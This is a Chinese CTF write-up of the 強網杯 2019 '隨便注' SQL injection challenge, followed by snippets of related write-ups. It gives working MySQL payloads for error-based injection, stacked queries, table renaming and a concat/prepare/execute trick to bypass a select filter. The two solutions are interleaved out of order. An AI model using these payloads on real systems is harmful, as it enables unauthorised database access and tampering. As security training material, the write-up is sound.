0x00:寫在前面
這道題目讓我在mysql語法上學到不少東西
還有騷思路,確實打ctf需要腦子反應快,騷主意多
0x01:解題思路
開啟題目很簡單的乙個查詢框
輸入1'報錯
1'-- -不報錯
1' order by 2-- -欄位兩個
然後union select查詢時報錯如下
顯而易見,做了過濾。是preg_match的檢測,常規的雙寫 大小寫啥的都不行
這裡可以使用報錯注入:?inject=1' and extractvalue(1, concat(0x5c, (database())));-- -
得知資料庫名字為supersqli(其實不知道資料庫名字也可以)
因為接下來的爆表操作仍然需要用到select 所以放棄
嘗試堆疊查詢
這裡爆出兩個表,191開頭這個表一看就很有嫌疑,嘗試讀取
1';show columns from 1919810931114514-- -
上面讀取資訊失敗,1';show columns from `1919810931114514`-- -
經過查詢資料得知,`在mysql裡用處是 將一些可能被識別為mysql內建函式的字串進行處理,變為使用者控制的字串,代表mysql中的轉義字元
讀出資料如下
上面誘人的flag,再進行words表讀取。
接下來就是圍繞著讀取flag來進行了
這裡有兩個方法:
0x02:兩種解法
第一種:比較騷的思路,讓程式中已經存在的select語法幫我們進行查詢,把words改名為其他,191這個表改名為words,然後再新增id欄位,將flag欄位改為data。
把預設的words改為ww第二種:利用concat拼接,這個是mysql的語法知識~學到了-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');prepare stmt1 from @sql;execute stmt1;#alter table words rename to ww;
把1919810931114514改為words;
alter table 1919810931114514 rename to words;
往words表裡新增乙個欄位id
alter table words add id int(10) default '1';
修改words裡面flag為data
alter table words change flag data varchar(100);-- -
然後把以上語句進行堆疊:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;alter table words add id int(10) default '12';alter table words change flag data varchar(100);-- -
還有種語句格式:
把預設的words改為ww
rename table words to ww;
下面就都一樣
這裡set為變數賦值
prepare設定sql查詢語法
execute 執行函式
BUUCTF 強網杯 2019 隨便注wp
知識點 堆疊注入。用簡單的話來說就是在sql語句中分號 標誌著一句話的結束,如果在乙個sql語句後新增分號 並構造乙個新的sql語句,那麼之前的sql語句和自己所構造的sql語句都會執行,因此造成了sql注入。這種注入方法叫堆疊注入。進入題目,看到輸入框,嘗試sql字元型注入1 or 1 1,發現存...
強網杯 2019 隨便注
1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...
強網杯 2019 隨便注
知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...